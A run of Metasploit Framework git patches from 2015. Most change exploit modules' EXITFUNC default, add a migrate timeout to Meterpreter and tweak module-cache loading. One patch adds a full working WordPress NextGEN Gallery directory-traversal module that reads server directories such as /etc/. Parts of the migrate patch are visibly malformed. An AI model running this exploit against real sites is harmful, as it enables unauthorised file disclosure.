'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 73248df198..c784f2aace 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "process", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index f9d099b16c..81a9d67736 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb index db4cd5054d..396176bf0d 100644 --- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index 2829f51760..9cce4f1ed1 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "seh" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb index 969ebb8357..eb1382c2c9 100644 --- a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb +++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 0b2d97b6ff..5e22d75d04 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index 3599cff018..f63cae9376 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'SaveRegisters' => [ 'ESP' ], 'DefaultOptions' => { - 'EXITFUNC' => "process", + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index d483de7237..d1d7450d78 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "process", + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb index 7d3ce353aa..29df9fcdd0 100644 --- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb +++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index b7e0c3bcea..55699fcecf 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "process", + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index d38fb4f8b2..7af09b6327 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "seh" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb index 882fd8484f..5565d239b8 100644 --- a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb index edbf3a8a0e..3715060fab 100644 --- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb +++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "process", + 'EXITFUNC' => 'thread', 'PrependMigrate' => true }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb index dc41e5e9e7..0efff4b935 100644 --- a/modules/exploits/windows/fileformat/publishit_pui.rb +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index 688bcd1daa..861ac3d898 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb index 0d60980bf9..c3012abef6 100644 --- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb +++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'seh' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 4f63f62f89..476b0ed1ae 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'seh', + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb index a5da75671a..736e5311c5 100644 --- a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb +++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb index ef2e7030eb..772d2e31aa 100644 --- a/modules/exploits/windows/http/ezserver_http.rb +++ b/modules/exploits/windows/http/ezserver_http.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'seh' + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index 7acd34e5f9..d63fe48e99 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "process" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index b592b3cc76..0d02343531 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', #none/process/thread/seh + 'EXITFUNC' => 'thread', #none/process/thread/seh }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index 0fe62853af..f77cd30561 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => From 115f409feff3b8ce41d589aefaa06da9a8644048 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 1 Sep 2015 10:48:07 +0200 Subject: [PATCH 0452/2172] change exitfunc to thread --- modules/exploits/unix/webapp/opensis_modname_exec.rb | 2 +- .../windows/browser/hp_alm_xgo_setshapenodetype_exec.rb | 2 +- modules/exploits/windows/browser/ie_execcommand_uaf.rb | 2 +- modules/exploits/windows/fileformat/ms12_005.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 7bc5162c2a..46c18e251e 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => 'none' + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index 75ec6ccbb8..550395255f 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index 89a450b8e5..469f8c32f6 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 33f96464b1..be1f865651 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none", + 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', From bfc24aea16ab94a0f41976ecf7641a3f069969a5 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 1 Sep 2015 10:52:25 +0200 Subject: [PATCH 0453/2172] change exitfunc to thread --- modules/exploits/windows/fileformat/publishit_pui.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb index 0efff4b935..6a260b10df 100644 --- a/modules/exploits/windows/fileformat/publishit_pui.rb +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => From 299ceb7087cbbd02ab65f17cd670901ebe937e4a Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 1 Sep 2015 17:51:59 +1000 Subject: [PATCH 0454/2172] Add timeout option for migration This commit changes the migrate function so that an optional timeout parameter can be given. This means that people in high-latency scenarios can extend the timeout when migration in order to increase the chances that things will work. --- lib/rex/post/meterpreter/client_core.rb | 51 ++++++++++--------- .../ui/console/command_dispatcher/core.rb | 43 +++++++++++----- 2 files changed, 56 insertions(+), 38 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index e144707c4f..b751768348 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -54,7 +54,7 @@ class ClientCore < Extension # Initializes the 'core' portion of the meterpreter client commands. # def initialize(client) - super(client, "core") + super(client, 'core') end ## @@ -81,7 +81,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_enumextcmd request.", caller + raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller elsif response.result != 0 # This case happens when the target doesn't support the core_enumextcmd message. # If this is the case, then we just want to ignore the error and return an empty @@ -180,7 +180,7 @@ class ClientCore < Extension # No library path, no cookie. if library_path.nil? - raise ArgumentError, "No library file path was supplied", caller + raise ArgumentError, 'No library file path was supplied', caller end # Set up the proper loading flags @@ -215,7 +215,7 @@ class ClientCore < Extension # path of the local and target so that it gets loaded with a random # name if opts['Extension'] - library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}" + library_path = "ext#{rand(1000000)}.#{client.binary_suffix}" target_path = library_path end end @@ -233,7 +233,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_loadlib request.", caller + raise RuntimeError, 'No response was received to the core_loadlib request.', caller elsif response.result != 0 raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end @@ -431,16 +431,16 @@ class ClientCore < Extension # Migrates the meterpreter instance to the process specified # by pid. The connection to the server remains established. # - def migrate(pid, writable_dir = nil) - keepalive = client.send_keepalives + def migrate(pid, writable_dir = nil, opts = {}) + keepalive = client.send_keepalives client.send_keepalives = false - process = nil - binary_suffix = nil - old_platform = client.platform - old_binary_suffix = client.binary_suffix + process = nil + binary_suffix = nil + old_platform = client.platform + old_binary_suffix = client.binary_suffix # Load in the stdapi extension if not allready present so we can determine the target pid architecture... - client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) + client.core.use('stdapi') if not client.ext.aliases.include?('stdapi') # Determine the architecture for the pid we are going to migrate into... client.sys.process.processes.each { | p | @@ -452,7 +452,7 @@ class ClientCore < Extension # We cant migrate into a process that does not exist. unless process - raise RuntimeError, "Cannot migrate into non existent process", caller + raise RuntimeError, 'Cannot migrate into non existent process', caller end # We cannot migrate into a process that we are unable to open @@ -465,7 +465,7 @@ class ClientCore < Extension # And we also cannot migrate into our own current process... if process['pid'] == client.sys.process.getpid - raise RuntimeError, "Cannot migrate into current process", caller + raise RuntimeError, 'Cannot migrate into current process', caller end if client.platform =~ /linux/ @@ -484,19 +484,19 @@ class ClientCore < Extension blob = generate_payload_stub(process) # Build the migration request - request = Packet.create_request( 'core_migrate' ) + request = Packet.create_request('core_migrate') if client.platform =~ /linux/i socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) if socket_path.length > UNIX_PATH_MAX - 1 - raise RuntimeError, "The writable dir is too long", caller + raise RuntimeError, 'The writable dir is too long', caller end pos = blob.index(DEFAULT_SOCK_PATH) if pos.nil? - raise RuntimeError, "The meterpreter binary is wrong", caller + raise RuntimeError, 'The meterpreter binary is wrong', caller end blob[pos, socket_path.length + 1] = socket_path + "\x00" @@ -510,14 +510,17 @@ class ClientCore < Extension request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) + if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end - # Send the migration request (bump up the timeout to 60 seconds) - client.send_request( request, 60 ) + # Send the migration request. Timeout can be specified by the caller, or set to a min + # of 60 seconds. + timeout = [(opts[:timeout] || 0), 60].max + client.send_request(request, timeout) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents @@ -539,7 +542,7 @@ class ClientCore < Extension # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. begin - Timeout.timeout(60) do + Timeout.timeout(timeout) do # Renegotiate SSL over this socket client.swap_sock_ssl_to_plain() client.swap_sock_plain_to_ssl() @@ -600,10 +603,10 @@ class ClientCore < Extension if not client.passive_service self.client.send_packet(request) else - # If this is a HTTP/HTTPS session we need to wait a few seconds - # otherwise the session may not receive the command before we - # kill the handler. This could be improved by the server side - # sending a reply to shutdown first. + # If this is a HTTP/HTTPS session we need to wait a few seconds + # otherwise the session may not receive the command before we + # kill the handler. This could be improved by the server side + # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) end true diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index a036336356..167f3079a1 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -781,15 +781,21 @@ class Console::CommandDispatcher::Core end end + @@migrate_opts = Rex::Parser::Arguments.new( + '-p' => [true, 'Writable path (eg. /tmp).'], + '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], + '-h' => [false, 'Help menu.'] + ) + def cmd_migrate_help if client.platform =~ /linux/ - print_line "Usage: migrate <pid> [writable_path]" + print_line('Usage: migrate <pid> [-p writable_path] [-t timeout]') else - print_line "Usage: migrate <pid>" + print_line('Usage: migrate <pid> [-t timeout]') end print_line - print_line "Migrates the server instance to another process." - print_line "NOTE: Any open channels or other dynamic state will be lost." + print_line('Migrates the server instance to another process.') + print_line('NOTE: Any open channels or other dynamic state will be lost.') print_line end @@ -800,19 +806,28 @@ class Console::CommandDispatcher::Core # platforms a path for the unix domain socket used for IPC. # @return [void] def cmd_migrate(*args) - if ( args.length == 0 or args.include?("-h") ) + if args.length == 0 || args.include?('-h') cmd_migrate_help return true end pid = args[0].to_i - if(pid == 0) - print_error("A process ID must be specified, not a process name") + if pid == 0 + print_error('A process ID must be specified, not a process name') return end - if client.platform =~ /linux/ - writable_dir = (args.length >= 2) ? args[1] : nil + opts = { + timeout: nil + } + + @@transport_opts.parse(args) do |opt, idx, val| + case opt + when '-t' + opts[:timeout] = val.to_i + when '-p' + writable_dir] = val + end end begin @@ -834,7 +849,7 @@ class Console::CommandDispatcher::Core service.each_tcp_relay do |lhost, lport, rhost, rport, opts| next unless opts['MeterpreterRelay'] if existing_relays.empty? - print_status("Removing existing TCP relays...") + print_status('Removing existing TCP relays...') end if (service.stop_tcp_relay(lport, lhost)) print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") @@ -856,18 +871,18 @@ class Console::CommandDispatcher::Core # Do this thang. if client.platform =~ /linux/ - client.core.migrate(pid, writable_dir) + client.core.migrate(pid, writable_dir, opts) else - client.core.migrate(pid) + client.core.migrate(pid, opts = opts) end - print_status("Migration completed successfully.") + print_status('Migration completed successfully.') # Update session info (we may have a new username) client.update_session_info unless existing_relays.empty? - print_status("Recreating TCP relay(s)...") + print_status('Recreating TCP relay(s)...') existing_relays.each do |r| client.pfservice.start_tcp_relay(r[:lport], r[:opts]) print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}") From 35661d0182954392aa08348aee971391cdebddb8 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 1 Sep 2015 13:28:04 -0300 Subject: [PATCH 0455/2172] Add WP NextGEN Gallery Directory Traversal Vuln --- .../http/wp_nextgen_galley_file_read.rb | 141 ++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb new file mode 100644 index 0000000000..4c80d5d930 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability', + 'Description' => %q{ + This module exploits an authenticated directory traversal vulnerability + in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing + to read arbitrary directories with the web server privileges. + }, + 'References' => + [ + ['WPVDB', '8165'], + ['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650'] + ], + 'Author' => + [ + 'Sathish Kumar', # Vulnerability Discovery + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('WP_USER', [true, 'A valid username', nil]), + OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), + OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) + ], self.class) + end + + def user + datastore['WP_USER'] + end + + def password + datastore['WP_PASS'] + end + + def check + check_plugin_version_from_readme('nextgen-gallery', '2.1.9') + end + + def get_nonce(cookie) + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), + 'method' => 'GET', + 'vars_get' => { + 'page' => 'ngg_addgallery' + }, + 'cookie' => cookie + ) + + if res && res.redirect? && res.redirection + location = res.redirection + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + ) + end + + res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first + end + + def run_host(ip) + vprint_status("#{peer} - Trying to login as: #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as: #{user}") + return + end + + vprint_status("#{peer} - Trying to get nonce...") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + vprint_status("#{peer} - Got nonce: #{nonce}") + + traversal = "../" * datastore['DEPTH'] + filename = datastore['DIRPATH'] + filename = filename[1, filename.length] if filename =~ /^\// + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + 'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery", + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_get' => { + 'photocrati_ajax' => '1' + }, + 'vars_post' => { + 'nextgen_upload_image_sec' => "#{nonce}", + 'action' => 'browse_folder', + 'dir' => "#{traversal}#{filename}" + }, + 'cookie' => cookie + ) + + if res && res.code == 200 && res.body && res.body.to_s.length > 0 + begin + results = JSON.parse(res.body)['html'] + rescue JSON::ParserError + vprint_error("#{peer} - Unable to parse JSON") + return + end + + res_new = results.gsub(/<u(.*)>/, '').gsub(/<\/ul>/, '').gsub(/<l(.*)"\/..\/..\/..\/../, '').gsub(/"(.*)i>/, '') + vprint_line("#{res_new}") + fname = datastore['FILEPATH'] + path = store_loot( + 'nextgen.traversal', + 'text/plain', + ip, + res_new, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. You can try to change the DIRPATH.") + end + end +end From d84caeca7283785052c98f783bbbee13b68c8765 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 12:31:05 -0500 Subject: [PATCH 0456/2172] Ignore cached modules outside of load path, only load cache once on startup --- lib/msf/base/simple/framework/module_paths.rb | 16 ++++++++++++--- lib/msf/core/module_manager/cache.rb | 6 ++++++ lib/msf/ui/console/driver.rb | 20 ++++++------------- 3 files changed, 25 insertions(+), 17 deletions(-) diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 952f32f051..6839c3cada 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -10,9 +10,8 @@ module Msf if @module_paths_inited fail "Module paths already initialized. To add more module paths call `modules.add_module_path`" else - # Ensure the module cache is accurate - self.modules.refresh_cache_from_database + additional_paths = opts.delete(:module_paths) add_engine_module_paths(Rails.application, opts) Rails.application.railties.engines.each do |engine| @@ -32,6 +31,17 @@ module Msf } end + # If the caller had additional paths to search, load them. + # They should be separated by semi-colons. + if additional_paths + additional_paths.split(";").each { |path| + self.modules.add_module_path(path, opts) + } + end + + # Update the module cache + self.modules.refresh_cache_from_database + @module_paths_inited = true end end @@ -57,4 +67,4 @@ module Msf end end end -end \ No newline at end of file +end diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index a1f626a5a6..6e56659a70 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -153,6 +153,7 @@ module Msf::ModuleManager::Cache self.module_info_by_path = {} if framework_migrated? + loaded_paths = self.module_paths.map{|x| x + "/"} ActiveRecord::Base.connection_pool.with_connection do # TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file. # Use find_each so Mdm::Module::Details are returned in batches, which will @@ -162,6 +163,11 @@ module Msf::ModuleManager::Cache type = module_detail.mtype reference_name = module_detail.refname + # Skip cached modules that are not in our load path + if loaded_paths.select{|x| path.index(x) == 0}.empty? + next + end + typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) # join to '' so that typed_path_prefix starts with file separator typed_path_suffix = File.join('', typed_path) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index b067392452..4d87ac8f80 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver # framework.db.active will be true if after_establish_connection ran directly when connection_established? was # already true or if framework.db.connect called after_establish_connection. - if framework.db.active - unless opts['DeferModuleLoads'] - self.framework.modules.refresh_cache_from_database - - if self.framework.modules.cache_empty? - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") - end - end 